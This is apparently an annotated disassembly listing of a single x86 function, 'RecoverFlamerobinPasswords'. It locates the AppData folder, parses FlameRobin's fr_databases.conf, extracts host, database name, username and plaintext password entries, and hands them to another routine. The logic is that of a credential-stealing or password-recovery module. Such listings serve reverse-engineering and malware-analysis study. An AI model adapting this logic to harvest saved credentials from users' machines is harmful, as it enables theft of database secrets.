Function at 0x42a402
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x6d7c
call fcn.005fec20
mov eax, dword [0x708c34]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x1b6f]
push esi
push edi
mov esi, 0x3e7
mov byte [ebp - 0x1b70], 0
push esi
push 0
push eax
call fcn.00626f50
push esi
lea eax, [ebp - 0x1f57]
mov byte [ebp - 0x1f58], 0
push 0
push eax
call fcn.00626f50
mov esi, str.fr_databases.conf
lea edi, [ebp - 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, str.RecoverFlamerobinPasswords
push esi
push str._s_entered
call fcn.00449974
push ebx
call fcn.00631510
add esp, 0x24
cmp eax, 1
jae 0x42a4b3
lea eax, [ebp - 0x1f58]
push eax
xor eax, eax
push eax
push eax
push 0x1c
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x42a4a6
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push esi
push str._s_Failed_to_find_appdata_folder__Error0x_.8x
jmp 0x42aa36
mov eax, str._s_flamerobin_s
lea ebx, [ebp - 0x1f58]
jmp 0x42a4b8
mov eax, 0x66c218
lea ecx, [ebp - 0x18]
mov edi, 0x3e8
push ecx
push ebx
push eax
lea eax, [ebp - 0x1b70]
push edi
push eax
call fcn.00445d6d
lea eax, [ebp - 0x1b70]
push eax
push esi
push str._s_Final_setting_file__s
call fcn.00449974
push 0x66ca20
lea eax, [ebp - 0x1b70]
xor ebx, ebx
push eax
lea eax, [ebp - 0x6d7c]
mov dword [ebp - 0x6d7c], ebx
push eax
call fcn.00632119
add esp, 0x2c
test eax, eax
jne 0x42aa29
cmp dword [ebp - 0x6d7c], ebx
je 0x42aa29
lea esi, [edi - 1]
mov byte [ebp - 0xfb8], bl
push esi
lea eax, [ebp - 0xfb7]
push ebx
push eax
call fcn.00626f50
push esi
lea eax, [ebp - 0x7e7]
mov byte [ebp - 0x7e8], bl
push ebx
push eax
call fcn.00626f50
push esi
lea eax, [ebp - 0x139f]
mov byte [ebp - 0x13a0], bl
push ebx
push eax
call fcn.00626f50
push esi
lea eax, [ebp - 0xbcf]
mov byte [ebp - 0xbd0], bl
push ebx
push eax
call fcn.00626f50
push esi
lea eax, [ebp - 0x3ff]
mov byte [ebp - 0x400], bl
push ebx
push eax
call fcn.00626f50
push dword [ebp - 0x6d7c]
lea eax, [ebp - 0x6d78]
push 0x2710
push eax
call fcn.00631f4f
add esp, 0x48
jmp 0x42a960
lea eax, [ebp - 0x6d78]
push eax
call fcn.00631510
pop ecx
test eax, eax
je 0x42a5d0
lea eax, [ebp - 0x6d78]
push eax
call fcn.00631510
dec eax
pop ecx
cmp eax, 0x2710
jae 0x42aa4f
mov byte [ebp + eax - 0x6d78], bl
lea eax, [ebp - 0x6d78]
push eax
call fcn.00449da7
lea eax, [ebp - 0x6d78]
push eax
lea eax, [ebp - 0x4668]
push 0x2710
push eax
call fcn.006311ec
lea eax, [ebp - 0x4668]
push eax
call fcn.00631510
inc eax
push eax
lea eax, [ebp - 0x4668]
push eax
call fcn.00631711
lea eax, [ebp - 0x4668]
push str.__database_
push eax
call fcn.00627320
add esp, 0x24
test eax, eax
je 0x42a711
lea eax, [ebp - 0x7e8]
push eax
lea eax, [ebp - 0x6d78]
push eax
push str._n___Found_new_entry....__s___s_
call fcn.00449974
lea eax, [ebp - 0x7e8]
push eax
call fcn.00631510
add esp, 0x10
test eax, eax
je 0x42a6f4
lea eax, [ebp - 0xbd0]
push str.encpwd
push eax
call fcn.00631435
pop ecx
pop ecx
test eax, eax
je 0x42a6e9
lea eax, [ebp - 0x400]
push eax
call fcn.00631510
cmp eax, 1
lea eax, [ebp - 0x400]
pop ecx
push eax
jbe 0x42a6a7
lea eax, [ebp - 0xfb8]
push eax
push str._s__DB:__s_
lea eax, [ebp - 0x1788]
push edi
push eax
call fcn.00445d6d
add esp, 0x14
jmp 0x42a6b7
lea eax, [ebp - 0x1788]
push edi
push eax
call fcn.006311ec
add esp, 0xc
push 0xffffffffffffffff
push 0x66ae5d
lea eax, [ebp - 0x7e8]
push eax
lea eax, [ebp - 0x1788]
push eax
lea eax, [ebp - 0x13a0]
push eax
push 0x66ae5d
push 0x26e
push 6
call fcn.00412c85
add esp, 0x20
jmp 0x42a6f4
push str._n___We_have_got_encrypted_password..ignoring_it
call fcn.00449974
pop ecx
mov byte [ebp - 0x400], bl
mov byte [ebp - 0xbd0], bl
mov byte [ebp - 0xfb8], bl
mov byte [ebp - 0x7e8], bl
jmp 0x42a946
lea eax, [ebp - 0x4668]
push str._host_
push eax
call fcn.00627320
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x42a782
push str._host_
call fcn.00631510
lea ecx, [ebp - 0x4668]
sub esi, ecx
lea ecx, [ebp - 0x6d78]
add esi, ecx
add esi, eax
push 0x3c
push esi
call fcn.006271e0
add esp, 0xc
test eax, eax
je 0x42a757
mov byte [eax], bl
push esi
lea eax, [ebp - 0x13a0]
push edi
push eax
call fcn.006311ec
lea eax, [ebp - 0x13a0]
push eax
call fcn.00449da7
lea eax, [ebp - 0x13a0]
push eax
push str.Found_host_s
jmp 0x42a93e
lea eax, [ebp - 0x4668]
push str._name_
push eax
call fcn.00627320
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x42a7f3
push str._name_
call fcn.00631510
lea ecx, [ebp - 0x4668]
sub esi, ecx
lea ecx, [ebp - 0x6d78]
add esi, ecx
add esi, eax
push 0x3c
push esi
call fcn.006271e0
add esp, 0xc
test eax, eax
je 0x42a7c8
mov byte [eax], bl
push esi
lea eax, [ebp - 0x400]
push edi
push eax
call fcn.006311ec
lea eax, [ebp - 0x400]
push eax
call fcn.00449da7
lea eax, [ebp - 0x400]
push eax
push str.Found_db_name_s
jmp 0x42a93e
lea eax, [ebp - 0x4668]
push str._username_
push eax
call fcn.00627320
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x42a864
push str._username_
call fcn.00631510
lea ecx, [ebp - 0x4668]
sub esi, ecx
lea ecx, [ebp - 0x6d78]
add esi, ecx
add esi, eax
push 0x3c
push esi
call fcn.006271e0
add esp, 0xc
test eax, eax
je 0x42a839
mov byte [eax], bl
push esi
lea eax, [ebp - 0xfb8]
push edi
push eax
call fcn.006311ec
lea eax, [ebp - 0xfb8]
push eax
call fcn.00449da7
lea eax, [ebp - 0xfb8]
push eax
push str.Found_user_s
jmp 0x42a93e
lea eax, [ebp - 0x4668]
push str._password_
push eax
call fcn.00627320
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x42a8d2
push str._password_
call fcn.00631510
lea ecx, [ebp - 0x4668]
sub esi, ecx
lea ecx, [ebp - 0x6d78]
add esi, ecx
add esi, eax
push 0x3c
push esi
call fcn.006271e0
add esp, 0xc
test eax, eax
je 0x42a8aa
mov byte [eax], bl
push esi
lea eax, [ebp - 0x7e8]
push edi
push eax
call fcn.006311ec
lea eax, [ebp - 0x7e8]
push eax
call fcn.00449da7
lea eax, [ebp - 0x7e8]
push eax
push str.Found_password_s
jmp 0x42a93e
lea eax, [ebp - 0x4668]
push str._authentication_
push eax
call fcn.00627320
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x42a946
push str._authentication_
call fcn.00631510
lea ecx, [ebp - 0x4668]
sub esi, ecx
lea ecx, [ebp - 0x6d78]
add esi, ecx
add esi, eax
push 0x3c
push esi
call fcn.006271e0
add esp, 0xc
test eax, eax
je 0x42a918
mov byte [eax], bl
push esi
lea eax, [ebp - 0xbd0]
push edi
push eax
call fcn.006311ec
lea eax, [ebp - 0xbd0]
push eax
call fcn.00449da7
lea eax, [ebp - 0xbd0]
push eax
push str.Found_authentication_s
call fcn.00449974
add esp, 0x18
push dword [ebp - 0x6d7c]
lea eax, [ebp - 0x6d78]
push 0x2710
push eax
call fcn.00631f4f
add esp, 0xc
test eax, eax
jne 0x42a59f
push dword [ebp - 0x6d7c]
call fcn.00637603
lea eax, [ebp - 0x7e8]
push eax
call fcn.00631510
pop ecx
pop ecx
test eax, eax
je 0x42aa24
lea eax, [ebp - 0xbd0]
push str.encpwd
push eax
call fcn.00631435
pop ecx
pop ecx
test eax, eax
je 0x42aa19
lea eax, [ebp - 0x400]
push eax
call fcn.00631510
cmp eax, 1
lea eax, [ebp - 0x400]
pop ecx
push eax
jbe 0x42a9d7
lea eax, [ebp - 0xfb8]
push eax
push str._s__DB:__s_
lea eax, [ebp - 0x1788]
push edi
push eax
call fcn.00445d6d
add esp, 0x14
jmp 0x42a9e7
lea eax, [ebp - 0x1788]
push edi
push eax
call fcn.006311ec
add esp, 0xc
push 0xffffffffffffffff
push 0x66ae5d
lea eax, [ebp - 0x7e8]
push eax
lea eax, [ebp - 0x1788]
push eax
lea eax, [ebp - 0x13a0]
push eax
push 0x66ae5d
push 0x26e
push 6
call fcn.00412c85
add esp, 0x20
jmp 0x42aa24
push str._n___We_have_got_encrypted_password..ignoring_it
call fcn.00449974
pop ecx
xor eax, eax
inc eax
jmp 0x42aa40
lea eax, [ebp - 0x1b70]
push eax
push esi
push str._s_Unable_to_open_file_:__s
call fcn.00449974
add esp, 0xc
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005fe955
leave
ret
call fcn.005fe87a
int3